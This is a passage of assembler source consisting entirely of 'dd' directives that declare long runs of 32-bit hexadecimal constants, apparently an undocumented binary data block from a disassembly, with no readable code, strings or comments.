dd 138FF948h, 60B8FB38h, 0F34E1CD0h, 76789A2Ch, 0BC80E0C8h
dd 1BC22F05h, 9E75595Ch, 6B88FE17h, 0A7BA319Ch, 240C5761h
dd 6182C508h, 53DAA43Eh, 82F8C5B0h, 0B351FC71h, 42984415h
dd 345E4C43h, 5F941940h, 42BBBE24h, 59069AAAh, 94098E65h
dd 107615C1h, 220A203h, 2114C93Ch, 0D684C5A4h, 0A43D40FAh
dd 2174FF3Eh, 61DAC950h, 7C7AC1C3h, 0A99E0C49h, 24458F42h
dd 618C9157h, 80A20AA3h, 0D8089628h, 24DA24E7h, 75C3C2A3h
dd 201B1655h, 6A24E698h, 79EB0940h, 8DC9B467h, 225565C6h
dd 45D834C6h, 3DEA16AFh, 18289140h, 5E3B995Ah, 4A655148h
dd 0E7EC104Bh, 665C5F90h, 8430142Ah, 0E858A184h, 645145DAh
dd 9212B1Ch, 14E7DCE2h, 9EE61421h, 0F641104Eh, 0D0C7913Eh
dd 3B84E7F0h, 8577FED0h, 18C0E0C2h, 8B23372Dh, 88F31DB4h
dd 0EB625608h, 96EF5907h, 12B7F221h, 91E85790h, 64B4FC8Bh
dd 751AAD30h, 0E1A17633h, 411DC93Fh, 28D0FF73h, 68070C6Bh
dd 77EBA7BCh, 790500Ch, 8A64FC05h, 1853E359h, 85FB5B71h
dd 32A92899h, 0EEDA0840h, 0D35E8414h, 0BFC9542Dh, 621AD00Bh
dd 0EF237789h, 43CAA0EFh, 3F3205BFh, 0CBCB0A6Ah, 0BFB4B662h
dd 2B2C2125h, 0DB915101h, 0F899C52Fh, 8C680ACFh, 6C67A2BFh
dd 0B658BC79h, 8CE74900h, 87E9195Bh, 27F838D1h, 0C595C41Dh
dd 0F6603245h, 821D464Fh, 19CF5F01h, 202DDF83h, 9FBB5215h
dd 8629B9E5h, 92915C69h, 19896709h, 63BFBBDCh, 0F4518047h
dd 73C73B40h, 0D1918309h, 1655FD0Eh, 9D1313E2h, 543D2CD8h
dd 792ABF4Fh, 0B22EE992h, 9C6F124h, 3216276Ah, 0C6532558h
dd 0A646DED3h, 0B6344283h, 57C2D63h, 0F43CEE38h, 0E9C14885h
dd 0F438AA02h, 0C41EF2D3h, 6C4AA661h, 0B18BC81Ch, 0D80C09Dh
dd 68561B74h, 87B6BF2Ch, 7F8E5D7Ah, 0D0C8F4C8h, 412A10E4h
dd 0E48A3EAAh, 53BC9864h, 0D4380D63h, 689E7437h, 0A1F443BCh
dd 3B08F4CCh, 0D26E4987h, 6139BE4Eh, 0BE2FEF11h, 0BC8F9333h
dd 343CBD90h, 0AFBA7C85h, 27779576h, 0D1FBA678h, 4BCD8729h
dd 8F9F5501h, 0BA22D021h, 0AB14A4A3h, 0F62B2DEBh, 2E245006h
dd 834355A2h, 8C222F1Eh, 1843BFAEh, 92AD7D48h, 66ACD838h
dd 0BBD40FCFh, 9D88F402h, 6F49EA68h, 85E26334h, 0FBF95629h
dd 3A421AA2h, 4FD71B57h, 101F7850h, 0E842E991h, 0D0D7F1E9h
dd 238EE9E4h, 0F09EEAECh, 842DDB65h, 8ABE7468h, 7B2588BDh
dd 2114EAD2h, 4B88E9E4h, 0EAE8D05Eh, 0EAF44287h, 85DC3510h
dd 0BE3C68E1h, 5FF4D92Eh, 0C04C040Ch, 328E2468h, 0D7231023h
dd 0B5F3A489h, 0F3A088C0h, 306C2CE4h, 6831818Ah, 0DC2EBE20h
dd 21BCF7F0h, 5940590Eh, 0EB112834h, 0E2DC3106h, 0A5F1142Bh
dd 3C286402h, 84F44224h, 2530F3A0h, 888740B4h, 0F074F424h
dd 0DD2784F4h, 88939727h, 8062BDC4h, 0DF13DD91h, 1F4EACFBh
dd 20E204CBh, 0FF1F5C20h, 376AB735h, 17A352CEh, 0BFEB7F13h
dd 0B5273538h, 37316F49h, 3A22883Ah, 336DBD25h, 680FEB02h
dd 90129664h, 0FE6A30EDh
dd 68770FB9h, 0DF164C52h, 9164305Fh, 0C849415Ah, 78828C6Ch
dd 229C1868h, 3F620FE1h, 5F53AD85h, 229EAAC2h, 16BCF038h
dd 0A9A14943h, 0EC80EDDh, 0FF07BC9h, 0BC686827h, 0A363E09Dh
dd 10241718h, 0C4211810h, 0EF63CF49h, 12EF8F96h, 3B32FA70h
dd 623B7814h, 106A1760h, 176439F1h, 76DA2CA8h, 0EB0B7F73h
dd 24A808DCh, 94A77424h, 7C82CAA5h, 36F89312h, 16ED1CA4h
dd 0F9E0225Eh, 0DC68B5FAh, 64CD4E0Fh, 4A15D4A7h, 54BC9C08h
dd 1138195Eh, 84FA4274h, 0CE31F9DCh, 74101A1Bh, 4284E8FAh
dd 0D8B516FAh, 6011803Ah, 3338D2BCh, 64C19615h, 0A2239466h
dd 231F93CDh, 2884A1C9h, 785AE524h, 8F665025h, 0E9F65684h
dd 8ED0948Fh, 37DCD004h, 90BD630Fh, 0FEF71EDh, 0D42D55B7h
dd 34F17C19h, 0DC574485h, 0E79956E9h, 64406A9h, 88803028h
dd 7A3885F6h, 0EF1C1086h, 0F688F140h, 0F698840Eh, 0ED7AF21h
dd 75BBF484h, 74E17AFDh, 768F2A17h, 58102658h, 0F4674AF5h
dd 289671BFh, 0F44AD495h, 392A6C2Eh, 0D6899532h, 5C7F576Eh
dd 6012C886h, 0EFE8B88Dh, 0DCB80D2Ah, 0C084020Fh, 51567B29h
dd 0C4043322h, 0D028F554h, 6611F443h, 0F554A1A3h, 0F564840Eh
dd 733A1A21h, 0B084A282h, 94CF72FEh, 0FB9BF084h, 8609C7B3h
dd 23A50844h, 0D2F57443h, 52A5E4B0h, 5B130F24h, 553638EFh
dd 60B28Ch, 0F8833F7Ch, 8B3A7D03h, 80205539h, 7E1C1C8h
dd 39111C38h, 7493348Dh, 4FEDFC1Fh, 88A124B3h, 71958A1Eh
dd 0F80887ADh, 867E63BAh, 49CC1621h, 0DE4972DEh, 0FF3546Eh
dd 9D3EE22Ah, 0C7B432EFh, 3ABE4234h, 7984092Bh, 0D79892EAh
dd 0F26CF489h, 0BAC86816h, 75C26AA3h, 5AD4397Dh, 680F7440h
dd 0EEB6E70h, 0B902BBFh, 0C84973Ah, 4F0FAC58h, 183BD4B3h
dd 9036B6DAh, 0E479E717h, 7214305Dh, 85B60F6Ch, 91111E51h
dd 1CCA1D11h, 0F1DC4228h, 0BA167B0Ah, 16A499BDh, 90540614h
dd 245A7857h, 0B67A8AF3h, 0E2501EF1h, 60891C53h, 5990B855h
dd 9C0552C7h, 0ED9E7D48h, 2ABAECE1h, 0AA44602Ah, 0D19D5A24h
dd 1BBA1C53h, 9265EF34h, 0AECCBE86h, 8BEC1826h, 9481CE5h
dd 4B08110Ch, 5F8873D8h, 7870A2EBh, 0E6EC1026h, 8A39E5CBh
dd 6425EB08h, 0E14EA856h, 5702EAF8h, 12361C42h, 0EC0BEFA5h
dd 13D395B9h, 8425F308h, 1556EC14h, 37901536h, 6508D249h
dd 147840BBh, 204287ECh, 361710ECh, 0B9AC4287h, 62AFE45h
dd 48D9C7Dh, 1049EC84h, 0C4982317h, 3C8872D5h, 80237A47h
dd 787263C4h, 4593E836h, 471C780Bh, 62B82DF0h, 0D5213258h
dd 0C4754F11h, 35095C39h, 0DC6F7480h, 508A53F7h, 141AB277h
dd 1678460Eh, 40AC066Eh, 342334A4h, 683C021Ch, 3867B944h
dd 48F915AFh, 0A8401587h, 8BA975A3h, 0F0525584h, 0C4974EFFh
dd 0A63CEAA4h, 3B742D50h, 3EB8AD49h, 4390FF63h, 8A420F79h
dd 68095BD0h, 8AFEB92Ch, 2F6B2A56h, 0E828436Ah, 0DFB5460Ch
dd 14B2C2FFh, 0FA101037h, 0B7B71011h, 0C2ADF0FFh, 0B8F80837h
dd 0B0088877h, 56F8FFDBh, 59B8EC23h, 2C251BE4h, 740BF0E5h
dd 534D1421h, 10B23DDCh, 0C82AD404h, 0C046DCCCh, 267031C8h
dd 76202568h, 0B4956745h, 8DACB8BCh, 9C396684h, 665D7431h
dd 9BB89711h, 3FB999C0h, 0F7E00F42h, 4886F962h, 8A5204E8h
dd 68A42118h, 271CA192h, 0B98D1694h, 316990C4h, 10D4F783h
dd 0A71DD37Bh, 4B2DAFEh, 43AA3F94h, 19EC4520h, 91EC1B32h
dd 0FDB2D2C5h, 0BD52F917h, 0BA6790EAh, 84233B43h, 23A47548h
dd 0A37B1FF2h, 0FC674827h, 0FA8DC870h, 572B50F6h, 580883C7h
dd 0D2937A74h, 0E5B5271h, 8B7F24B4h, 9864290Ah, 5C0224F9h
dd 22F3453Ch, 0B4FCDFACh, 2ADF1FE4h, 0FB441898h, 0F06E5B8Ch
dd 0FA6147Bh, 8E546791h, 51424ADh, 4A1C7A50h, 0E8485953h
dd 0F41FFDF4h, 0B88408EAh, 408A34D1h, 5B45E7F4h, 0BD5DD8EFh
dd 0E0E34DC9h, 383C8F85h, 24A846D3h, 0B92C8887h, 943AA277h
dd 41265F62h, 5A408776h, 3E48F504h, 1FB838B1h, 1FB838E1h
dd 1AB838E1h, 0CF130C8h, 1AEB1EEAh, 1C7062A4h, 34D22FC7h
dd 3B045762h, 0B743ECA8h, 0FDE04AAEh, 746C88B7h, 931BE88Eh
dd 0D80E4721h, 113549D7h, 23FC40E8h, 93FCB7D8h, 0B7CC7851h
dd 33758B87h, 28931445h, 4677EEDEh, 5D1CB2B7h, 3920F3B6h
dd 45C7020Ah, 4D4A6C20h, 83EEA7F8h, 1FC7807h, 0C09B0D75h
dd 5A0776F4h, 81AA8C50h, 0E3102CCBh, 0B97DBB06h, 488BB18Ch
dd 0F659DA7Ch, 7E6D031Ah, 0B78C42E6h, 602AF17h, 5C109B51h
dd 86888DB8h, 0B788C23Dh, 176F5336h, 0B2B8E411h, 68CD3B35h
dd 478E1E2Eh, 3CEB84D4h, 533C8062h, 7C2317D4h, 0EB7483C4h
dd 0A66CD978h, 2E705617h, 653B9284h, 7B1D78BBh, 5AE317A6h
dd 3AB9112Eh, 0D117648Ah, 8F581CA2h, 0E3DF3D11h, 487226C4h
dd 39FA233Ch, 0E3E24411h, 231E3C39h, 0E23891A2h, 979C388Bh
dd 0CA5B918Dh, 44D12E34h, 17AD301Ch, 0C438C508h, 8EAE782Ch
dd 6B882047h, 54781CE4h, 8414478Eh, 286737E2h, 81CCBF1h
dd 0C87C118Fh, 1C65F104h, 0C4BA46C8h, 0A673671h, 4C5AD12Eh
dd 0B646F817h, 0F4E425C8h, 478E0E78h, 350784ECh, 9510E862h
dd 0D44E9D6Fh, 1734F029h, 0A22EE015h, 0D8179993h, 917C231Eh
dd 390EE2D4h, 0F7111ED0h, 0F1C48833h, 3CF21D69h, 0B8235247h
dd 7C04096Bh, 68B445E9h, 1E1EC15h, 0CE2B206Ah, 0B69410EBh
dd 6A0C45A1h, 97A4B728h, 2C21AEEEh, 0F964ADF1h, 1C7517C0h
dd 0BA9160BEh, 0E4A95DFh, 27F71CFFh, 66E68B06h, 0F0546195h
dd 5D60DF2Eh, 0B66484E6h, 20F2B9BDh, 28700ADEh, 0A41D85F1h
dd 2B618461h, 43283C41h, 10F1B2F1h, 45872561h, 7ED66128h
dd 0A81A2886h, 5361C931h, 0B5A50218h, 7E63239Fh, 0EC5C3D0Bh
dd 0EA5A5147h, 50A60E4Eh, 21F20BFBh, 0B598211Eh, 8EF13878h
dd 0C488C043h, 0F13C085Dh, 0B56C217Eh, 210F2151h, 0A83867BCh
dd 3431EC62h, 0C8B2BC43h, 87241118h, 35B53042h, 4423E108h
dd 42F46C21h, 50C88FB4h, 6CECC0F3h, 0C10AE1BCh, 26A7375h
dd 0A0CA4C23h, 51DBCB3Eh, 2EA9B490h, 0E1DCF2B6h, 7569EBE8h
dd 0E6DFF6B6h, 0D385ADAAh, 0D4B44008h, 2230E43h, 0E82C0864h
dd 5960B344h, 0DC8F730Fh, 4B84A0B1h, 0A3E6B32Eh, 72344417h
dd 0F4213CCCh, 1CDDD92Dh, 0CAA88DC8h, 0E65DCA8Ah, 127432CBh
dd 8212DC10h, 1BB39022h, 9CF6F5D2h, 0CA67431h, 3AC2292Ah
dd 0F74030C4h, 0E742045h, 0B194BD50h, 0F8081EC9h, 578853E6h
dd 723B7586h, 460A48CCh, 36A3108h, 6B215091h, 457EB878h
dd 0D550B2A8h, 44F41464h, 57570AACh, 77585BAh, 0EB044703h
dd 3C302146h, 40EB0570h, 0C185302Eh, 716EB06h, 1768B774h
dd 218FFB84h, 0A5BF0E7Ch, 64AD9B51h, 2850CA22h, 48577940h
dd 0E69725BCh, 9E08F04Ch, 6C623FB9h, 0E37C0BEBh, 0C5531CECh
dd 0EDE57F57h, 0D7BA3D6Ch, 0DB81C4D8h, 4641008h, 0B242E42Ch
dd 689734C4h, 2743B47Bh, 32478E85h, 4C9C126Ah, 0E9CD5C98h
dd 0D92E2520h, 1CDA3130h, 54E741Bh, 0EB19F3A8h, 89024504h
dd 56FC8299h, 28CA6FAEh, 8821548Ch, 0B2E84E2Ch, 3D0EA451h
dd 2B8AC69Ch, 391C45F4h, 7A8C7B42h, 5110898Ah, 5C78685Fh
dd 24855C46h, 0D854474Fh, 4F8984D0h, 68A2642Ah, 5C8A7217h
dd 404B5205h, 0BDC82416h, 48CA55A8h, 4C2CD129h, 148F4440h
dd 38C81715h, 8C29CCF0h
dd 0B5883447h, 4D782CE4h, 0B940238Eh, 24723664h, 0B6232EB4h
dd 17201528h, 18399FA2h, 9122231Eh, 380BE214h, 0BC8DB8F8h
dd 56392723h, 17A38A2Eh, 1E780864h, 8804478Eh, 0B1FCE207h
dd 266B2336h, 54E2F811h, 111EF039h, 0EC8825CCh, 0E41CB5F1h
dd 0C878118Fh, 1C61F1E0h, 0EA088FD8h, 78D4C424h, 0CC478ED3h
dd 6223C184h, 0AA473CC8h, 0BE088F7Ch, 78BCC422h, 0B4478EA7h
dd 62218B84h, 74473CB0h, 88CEA823h, 78A4C420h, 9C478EA9h
dd 3B1F0384h, 881EEC11h, 72ECF394h, 2B473C90h, 5088F79h
dd 7880C41Dh, 231C46EEh, 7260C478h, 49473C74h, 35088F71h
dd 7860C41Bh, 2B548A1Eh, 2CDBE352h, 0C5AABA25h, 0D296858h
dd 0C8681A4Dh, 19F6D8CAh, 844C478Ch, 406218E6h, 17CF533Ch
dd 0B8C43423h, 0E8362872h, 0A7B97CDh, 9D60801Eh, 0D09386F3h
dd 0CE04CFC7h, 104799A2h, 8908021h, 0EFCF04B7h, 74FA4B74h
dd 8E5DEFFCh, 88347591h, 3F6B737h, 0BD895013h, 34217684h
dd 0E6C37CB5h, 483C3202h, 0F7C62980h, 88CD7C21h, 80D0525Ah
dd 8C4287CFh, 0D6B310CFh, 0E2CD6595h, 8922B0E8h, 7D574CD6h
dd 0D5888DDCh, 68D8C516h, 468EBE17h, 0C93DDDD0h, 0C958C412h
dd 0C947D878h, 78CA5884h, 0A4CA42D8h, 913048A0h, 0CB5C8A12h
dd 459A52Bh, 509D4EBEh, 6B179BA8h, 0F25EAD54h, 2F9FB016h
dd 4AD11027h, 14CB58C2h, 88C95421h, 58D041B2h, 644287CBh
dd 6ED611CBh, 2BEF51C4h, 0B064104Ah, 0CD8761C4h, 0E836F684h
dd 5AFF8C14h, 91A92317h, 1354E148h, 0E43DC80Eh, 4629783Ch
dd 0C4382312h, 3C307212h, 478C087Bh, 10F1842Ch, 733C2062h
dd 18478CDDh, 0CE4C688h, 0E46BF78h, 0A8C40823h, 35448B41h
dd 20A76280h, 0B6772318h, 0D8AFFC08h, 8D8E0D7Ch, 0C8651117h
dd 873F0F0h, 88EC478Ch, 78E0E45Ch, 230646FCh, 72E5C4DCh
dd 0CE473CD8h, 0A9C2D023h, 1ECC3105h, 47BE9223h, 62045184h
dd 3A473CB8h, 23C4B423h, 1834AC72h, 19573575h, 2EF92CA5h
dd 6968CDD8h, 0FBFC3D8Ch, 177F2BD9h, 92AFF3E7h, 0AB307F44h
dd 5FB48022h, 15021D23h, 6A2177Ch, 741B7439h, 1A83977Ah
dd 0E7B910A8h, 62AD6E5Fh, 59B11120h, 13A10805h, 0BC743688h
dd 18191A23h, 5F0ABA1Fh, 0E65BC48Bh, 0C7895F9Ah, 320EBFEDh
dd 27AD1F30h, 0EFF3EF68h, 6B245774h, 682298ECh, 898AD19Dh
dd 9BDDF88Bh, 3F37B8Ch, 85C766F0h, 4241FCE4h, 0C47ECACh
dd 700AA5FDh, 27C59A70h, 157C3D5Bh, 39E6ADCFh, 9A1D640Dh
dd 0BA290E0Ah, 4A9E415h, 438F2868h, 598D1C15h, 0E94E1658h
dd 15BFCEDDh, 55533295h, 4EFB93BBh, 427DBD2Bh, 0E4BC4E0Fh
dd 62F1FEE7h, 8BA343Bh, 0FBBCF32Dh, 811C083Dh, 0AF042D68h
dd 557AB859h, 0E2AC68BDh, 0BDE92C16h, 3BC68BA1h, 38332489h
dd 74E2AE21h, 0F4138417h, 0A8C14169h, 81250505h, 52B39E55h
dd 27BC90BEh, 58A6F957h, 3088DCFAh, 0C9449785h, 0A8E45762h
dd 61477FECh, 0E28AFD3Eh, 4AB4DDE0h, 2B183856h, 216587F0h
dd 10E81762h, 1705D6Fh, 680A0986h, 271AEBCh, 75BE1844h
dd 0D008BBD7h, 8E0F07EDh, 0F275FA15h, 2846E156h, 1AB58A21h
dd 99E0D913h, 16AC6BB1h, 0A4105B42h, 328A123Fh, 6A0CDFC7h
dd 5D8AB434h, 16247811h, 515DFF83h, 0FC923028h, 0EDB4103Dh
dd 9028B88Ah, 13BC37F8h, 9B52B4D5h, 0AC3534FCh, 402A2D0Fh
dd 0AE7868CAh, 0C53E4D9Dh, 0DC38BE14h, 84ED42A8h, 0C130EC24h
dd 0B4874149h, 0F142A23Eh, 0AB08EDC0h, 40A11343h, 65732EAEh
dd 7DABD508h, 71318993h, 888277ADh, 85024CBAh, 8AC82803h
dd 13857F6Ah, 36ABB708h, 2C661304h, 0E2B6EF70h, 3434D0AFh
dd 3231F085h, 0F404180Eh, 0F8420329h, 0BE2CEEEDh, 2CEE4EF0h
dd 24810C69h, 0EEEC3C8Ah, 948CD57h, 0D97AAD2Ah, 0D8F0C77Ah
dd 54ADC088h, 859B1642h, 0BB28EE85h, 11EE43ECh, 8A73E10h
dd 100C4376h, 88E81284h, 0A127AD48h, 3BC201FFh, 84BA70DAh
dd 2A12C475h, 0BBFDAA71h, 16FF2236h, 0B8AD3468h, 0AD5AAA17h
dd 0C273DA5Fh, 280A187Eh, 10118503h, 0F445CBDDh, 3844F390h
dd 73FD074Fh, 97D40C9h, 13A31491h, 21287D8Bh, 0CC1C45DEh
dd 7E27245Dh, 44377C77h, 7AC3A420h, 0E7B4F14Fh, 348FF1F8h
dd 44DA7428h, 0E4FFDB61h, 6DE8B24h, 0DA7C52B0h, 0F3585AEBh
dd 0E7AC2DEBh, 8626272h, 0E3712805h, 0CA7BACC8h, 0D0BBF456h
dd 1A68570h, 94CAB1B7h, 0A6EB699Fh, 0F398E22Ch, 13E69439h
dd 237CF887h, 8445F380h, 0EB8B0E62h, 18C02752h, 0BF88BCC9h
dd 0D30F2729h, 8C1E32D1h, 0A0FAFC29h, 45F7B408h, 0D1B5A6F2h
dd 0B2104FFEh, 0B4849671h, 64431E50h, 2C52840Ch, 11FB804Ch
dd 880AAC4Ch, 0F3907817h, 0F27C0885h, 343F9C62h, 50F83ED6h
dd 0F3439CBCh, 0FAC14E1h, 64B23F8Fh, 621C343Dh, 576456CAh
dd 1B6CA5Fh, 0C065545Ah, 337FF43h, 3DAB4E10h, 0D0AC03F6h
dd 3664A911h, 0D8AF9C24h, 49E9AB42h, 50A43E56h, 31AD5A61h
dd 1AABD016h, 24192074h, 6A046A24h, 79AF5C42h, 41A1F14h
dd 0EEABB068h, 2F20A82Fh, 414CE595h, 0E699096Ah, 0E2203B5Dh
dd 0F40C9463h, 0B2E74AB9h, 48C6200h, 0AD5205AFh, 29D12078h
dd 68B2A068h, 719C6411h, 0AA54A2AEh, 802CBFF4h, 5681ACB8h
dd 68B13028h, 0B7244C78h, 2C1EE665h, 20C798AEh, 0B1C440A4h
dd 7048B308h, 14AB285Ah, 0BC975344h, 256F2F1Dh, 0A7C05FDDh
dd 5742E7DEh, 0DA4DF56h, 8D054BABh, 2F2C0F26h, 2C3D4BEAh
dd 35477C09h, 0C0D969E8h, 245B620h, 0AC08951Dh, 0D9EB13BCh
dd 20E37257h, 6F19004h, 0A88AFF23h, 0B599C90Eh, 872E6505h
dd 6A097323h, 0B2758A5h, 3B593C90h, 0EF764CC1h, 940D8D28h
dd 21AE9D6h, 85980B69h, 0C70A7629h, 0F130850h, 57AC8D83h
dd 91A5DFF8h, 3E447417h, 0C0331B1h, 570E058Bh, 0FED8C083h
dd 0FF10C438h, 37402697h, 5D5791Ah, 19FEDF73h, 91C819C8h
dd 0B35FACA6h, 0F0908FC8h, 75020690h, 0AADC680Ah, 7CE46EDCh
dd 80AB47D4h, 30740806h, 233F801Dh, 57832B53h, 2DABFD7Ch
dd 4878E171h, 6A9DB9EFh, 0B02DD748h, 0BCAE9108h, 64657762h
dd 43889AD5h, 2102159h, 5E8D1213h, 0A5A8BB90h, 302B48FEh
dd 83C5F91h, 0C2BD3F42h, 213E57E2h, 763BFD0Ch, 0B193A087h
dd 4268E813h, 0BEFF5474h, 28F85236h, 8720B884h, 0FD77BE6Bh
dd 0FB7CB135h, 14CF880Eh, 0E9D3D3C7h, 908C5863h, 47E25F0Ch
dd 0EEA35F96h, 99B4E7FBh, 0B86903ECh, 730F713h, 65BFFB8Ch
dd 968F269Ch, 9EEAE888h, 7EB11312h, 0DA7EFCE1h, 722B32ECh
dd 8088AE08h, 75233880h, 16507F03h, 0F258BEDFh, 88C8E0BDh
dd 0A30C489Dh, 0F3AFBCC8h, 0FCA86250h, 84FB7C10h, 5484987Ch
dd 8A900694h, 235014FFh, 9CD0AA40h, 7C0885FCh, 3ED35EFBh
dd 0FC88748Eh, 1D0B3742h, 0E6AA0808h, 982CCB57h, 686E10F0h
dd 0FA10D1FBh, 14E70F59h, 0FE8B52E8h, 1859C4F6h, 31932DA0h
dd 0B519FA90h, 0E547DA8Ch, 0BFF51C12h, 28BD6E51h, 3D06F54Dh
dd 0C2C545Ah, 1806A910h, 9184200Ch, 62064A25h, 9035A9B8h
dd 0FB1C1024h, 0CFA8CA1h, 84CA461Dh, 103AFB1Ch, 0CA84FB30h
dd 0BCE9BCC5h, 0A6A95F7Ch, 96165906h, 73FF37AAh, 79969838h
dd 944E3DB0h, 61B8F5C5h, 4B308B8Fh, 0E3A92B32h, 79F0EAACh
dd 0E2504F1Dh, 2300208h, 48146814h, 6856C0BEh, 5195A970h
dd 0F186EBB6h, 45B7993Fh
dd 8E953F41h, 3DCE0F30h, 0FF9040Ch, 0CA1E8D38h, 0FBA480F8h
dd 0B6206292h, 0B0FF119Bh, 1FE8132Ch, 180EEBE1h, 8018B862h
dd 94E717C1h, 27EA7334h, 5694C1DEh, 529354Fh, 2B4B20CFh
dd 8F06068h, 23765769h, 9B9E1DA4h, 42D2F461h, 6EE426ABh
dd 0DB0F6445h, 0A1C2553Fh, 15171D43h, 11D53F56h, 9B81F4Ah
dd 5BB1EE8Dh, 28F8F0E2h, 0B5448688h, 0F4911DCCh, 0D1F98088h
dd 0E667FA70h, 42F9C84Eh, 0EC11F8F0h, 14421CDAh, 23F98884h
dd 8C22B478h, 48700CA5h, 36498006h, 0E41846E0h, 0AD7C8D48h
dd 0CF833B1h, 40C9212Ch, 1DF97CE2h, 43F99008h, 0C4DC2EAh
dd 0E025ADE6h, 0D0A1F76Ch, 26B415EEh, 0CAED52CCh, 41C88A96h
dd 47217FF5h, 6717EECCh, 0CE4E6B4Ch, 0EDC4F680h, 88E6EFBFh
dd 584CC483h, 1226AAE0h, 0D520A32h, 0AD19DC1Ah, 8A6FD079h
dd 0A8DC8499h, 0DD182C2Ah, 85EED478h, 84ED213Fh, 3C410DABh
dd 0A1EE43D4h, 0ED08EEE4h, 98A1C143h, 0FFE91DA8h, 8484EF28h
dd 0F21174D7h, 0F9D88912h, 110C986h, 0D947889Dh, 17A7C955h
dd 0CECABF4Ah, 6AE522FFh, 420C5E10h, 10FDA5B7h, 0B6D99401h
dd 270868FBh, 18D9CB9Ah, 1D3490C5h, 0AEBC0816h, 0E5890525h
dd 98215036h, 0D70408D9h, 0EDA71D4Eh, 0A0B732E3h, 9EA4612Ah
dd 0FBC99C67h, 87DCA5E0h, 56643E29h, 1CDF1D72h, 0D98421D3h
dd 62D7084Eh, 0EC3467A0h, 0A44287D9h, 0F4A213D9h, 2C443E47h
dd 79876161h, 0CB6C16DAh, 0ECC4BFA6h, 476C78CBh, 0CCEC84CCh
dd 0CD70106Bh, 6CE474E3h, 10CB4268h, 12A8A7F0h, 0CD6C8887h
dd 86CB6850h, 42561D23h, 81DCD6Ch, 1745CD78h, 0B810E83Bh
dd 0CF94F1A7h, 0C7143A1Eh, 0E1B1948Eh, 0C41AD114h, 9C38D198h
dd 90101BF9h, 568888CFh, 94C40E43h, 439028D1h, 435811CFh
dd 0ED194A1h, 21D1A084h, 9C0EF32Fh, 0C31842A3h, 0C398233Ch
dd 3CC418C2h, 0C3C49823h, 4921206Ah, 0F91014C5h, 0C5313CF2h
dd 888D7C0Fh, 304FC310h, 88870DACh, 1051C314h, 35DF18EAh
dd 0C314088Dh, 10C54276h, 0E8E8F236h, 4A0CA644h, 84A3CCF2h
dd 0FC2A2BFDh, 4A3F6A17h, 69B4E97Ch, 861395ADh, 140273Eh
dd 0FB7459D6h, 12D90D93h, 44329144h, 82DC5627h, 0C7290772h
dd 5281D864h, 823F6F02h, 5A9250F2h, 3F92238Dh, 0B81436CBh
dd 1FA8E8A6h, 0E9DC8887h, 86E88050h, 4017ED10h, 0EE9DCF1h
dd 8410E08Fh, 213AEBB6h, 3072257Ch, 7276D98Ah, 84E29858h
dd 7682DC70h, 0E110E2ECh, 767A777Ch, 9C235C56h, 0E1A1B9E2h
dd 0EBE3101Fh, 38E2A324h, 2A0EF9A4h, 979D8350h, 0F715143Dh
dd 0AE290F1h, 0C2E10C10h, 1E413A29h, 0CAB23ED2h, 12E2A8F1h
dd 18091772h, 8912DBA6h, 6FF9A5E0h, 0DFE02044h, 80F9B7BCh
dd 0FB21F93h, 0A5BC68C2h, 0E9949CB6h, 6820EB03h, 1F2B60B0h
dd 50599976h, 25FB159Fh, 287C17CEh, 5410519Dh, 58DE7224h
dd 75C0F889h, 3F14B73Ah, 0D074F425h, 0A62AE724h, 0D50F8C3Bh
dd 8BC14FFCh, 83DD4EE1h, 0E32AC0D9h, 0C074A16Ah, 0C347041Ch
dd 45C2083Ch, 0DF750943h, 0EDA56E27h, 8F24C4BBh, 0C342707Eh
dd 31C07484h, 701A7054h, 0CA3C343h, 0EC48E8E4h, 0B5A54244h
dd 458985BBh, 0EA225C0Fh, 0F99892D1h, 8832690Fh, 54AF11FEh
dd 11C81988h, 0C41E9F57h, 170C5E5h, 75C63B10h, 0F0106E09h
dd 99052D1Ah, 4F65D283h, 8B123B4Fh, 9112B5F8h, 0B665BB2Eh
dd 0E550EFCCh, 53D79D62h, 678227ABh, 0BAD58B57h, 9C25476h
dd 4776A520h, 0C7EE0451h, 1F562516h, 69905325h, 80B47F1h
dd 2DAD71B4h, 0B86998C4h, 2E1CCC85h, 5B2ADA2Ch, 18EF1B6Ch
dd 4F275BB7h, 34341095h, 0DB2FD9h, 0B1A4F868h, 975449E7h
dd 0C345D0C8h, 0DC30CD04h, 9DAAD8BEh, 0CF153469h, 0DC3C8841h
dd 91211ECFh, 9B38B280h, 8B53C41Dh, 0DC40C441h, 8D9AC21h
dd 840AEDA8h, 2ADCDC48h, 0AE13D344h, 0A4CC7171h, 1EF23E3Dh
dd 26421CFDh, 5318DC2Ch, 3E2E9E4Eh, 0E8DC2C10h, 10DC424Ch
dd 90E8E729h, 0DE77A449h, 65AD489Eh, 0FE5BC2D3h, 88551DFFh
dd 0FF299A53h, 6D634A9Eh, 2E293E6Ah, 3D457E33h, 68D5CC7Eh
dd 5BA4382Dh, 1E516B1Eh, 0CAA2FC27h, 73571315h, 0C0172863h
dd 41DD147Eh, 501203DDh, 0A4B4B9D5h, 4B72F62Ah, 405981C1h
dd 3B6F347Ah, 99B6119Dh, 0E107CC7h, 0D7BFF510h, 0BA40D43Ah
dd 9688D311h, 801032F4h, 8FD67456h, 3BB4F0ACh, 0EC4D6B3h
dd 0CC53EA9h, 0B08BBAA4h, 14A2D4D0h, 0EF8E0F01h, 0E53654CEh
dd 0BFC05003h, 3489E7D3h, 4BED7BA3h, 868D62BAh, 0FC2F7243h
dd 0FA085DDh, 9CDE6827h, 16208B27h, 9BB17652h, 755B7300h
dd 4D6C41CCh, 0B58286DFh, 0FE71DDE4h, 0DF708584h, 0A4C42AB2h
dd 0CB1CE7A3h, 8CD670Fh, 0E450DF68h, 572386DDh, 0DFE84F4Fh
dd 84DFE874h, 9797F670h, 0A3A1B8EEh, 0B54B788Ah, 0B6DC5442h
dd 8FD47FD5h, 90B15494h, 47D8F8D5h, 0DC5011DDh, 0E7DD10DEh
dd 0FF95668h, 0A7DDD410h, 331DC34h, 3E6B1A47h, 0E0887C97h
dd 0AAD67CDDh, 5BB2C4A3h, 0E6968AFDh, 0C422B556h, 0C71B62Fh
dd 0A2B2044Bh, 884A2229h, 0DA54210h, 93F9B05Ch, 0D6624A3h
dd 2B6BF068h, 4E10B62Fh, 51ED4A0Fh, 8E967CCEh, 0E46815EFh
dd 0EB14F067h, 0A833D797h, 861BA955h, 0D591F21h, 0EC8F10Ah
dd 0C2D9B29h, 0A2F89A64h, 0AC14D1B3h, 0B231D397h, 91F0CCAh
dd 0DDF33B59h, 7156D285h, 63A2C08Bh, 0C2E3D22Ah, 0A8B0938Fh
